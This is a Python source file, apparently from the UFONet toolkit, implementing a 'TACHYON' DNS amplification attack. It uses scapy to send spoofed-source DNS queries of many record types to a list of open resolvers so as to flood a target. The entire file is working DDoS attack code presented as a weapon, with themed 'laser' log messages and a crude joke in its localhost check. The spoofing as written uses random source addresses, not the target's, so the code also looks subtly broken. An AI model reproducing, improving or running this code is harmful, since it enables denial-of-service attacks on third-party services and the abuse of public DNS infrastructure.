tachyon.py 3.6 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random
  11. try:
  12. from scapy.all import *
  13. except:
  14. print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
  15. sys.exit(2)
  16. dns_file = "botnet/dns.txt" # OpenDNS servers IP list
  17. qtype = ["ANY", "A","AAAA","CNAME","MX","NS","PTR","CERT","SRV","TXT", "SOA"] # Query types
  18. ttl = 128 # (TTL) Time To Live
  19. timeout = 5 # defautl timeout
  20. qname = "www.google.com" # default 'spoofed' query
  21. # UFONet DNS Amplification (TACHYON)
  22. def randIP():
  23. ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
  24. return ip
  25. def dnsize(ip, port, rounds):
  26. n=0
  27. try: # (DNS) Amplification attack uses publically accessible DNS servers to flood a target with DNS response traffic
  28. with open(dns_file) as f: # extract OpenDNS servers from file
  29. dns_d = f.read().splitlines()
  30. f.close()
  31. p_num=0
  32. for x in range (0,int(rounds)):
  33. try:
  34. n=n+1
  35. print("[Info] [AI] [TACHYON] Shooting 'crystal' ["+str(n)+"] and unloading laser on it! -> [REFLECTING!]")
  36. for i in qtype: # loop through all query types then all DNS servers
  37. for j in dns_d:
  38. p_num += 1
  39. src_ip = randIP() # ip source spoofed on each packet sent
  40. packet = IP(src=src_ip, dst=j, ttl=ttl) / UDP(sport=port) / DNS(rd=1, qd=DNSQR(qname=qname, qtype=i))
  41. try:
  42. send(packet, verbose=0) # not using sr1 because non-replies are required
  43. print(("[Info] [AI] [TACHYON] Lasered 'crystal' [{}]".format(p_num))+" IS BEING REFLECTED by ["+str(j)+"] using DNS type: "+str(i)+" -> [AMPLIFYING!]")
  44. except:
  45. print(("[Info] [AI] [TACHYON] Lasered 'crystal' [{}]".format(p_num))+" HAS FAILED to be reflected by ["+str(j)+"] using DNS type: "+str(i)+" -> [PASSING!]")
  46. except:
  47. print("[Error] [AI] [TACHYON] Failed to engage with 'crystal' ["+str(n)+"]")
  48. except:
  49. print("[Error] [AI] [TACHYON] Failing to engage... -> Is still target online? -> [Checking!]")
  50. class TACHYON(object):
  51. def attacking(self, target, rounds):
  52. print("[Info] [AI] DNS Amplification (TACHYON) is ready to fire: [" , rounds, "crystals ]")
  53. if target.startswith('http://'):
  54. target = target.replace('http://','')
  55. port = 80
  56. elif target.startswith('https://'):
  57. target = target.replace('https://','')
  58. port = 443
  59. try:
  60. ip = socket.gethostbyname(target)
  61. except:
  62. try:
  63. import dns.resolver
  64. r = dns.resolver.Resolver()
  65. r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
  66. url = urlparse(target)
  67. a = r.query(url.netloc, "A") # A record
  68. for rd in a:
  69. ip = str(rd)
  70. except:
  71. ip = target
  72. if ip == "127.0.0.1" or ip == "localhost":
  73. print("[Info] [AI] [TACHYON] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  74. return
  75. dnsize(ip, port, rounds) # attack with TACHYON using threading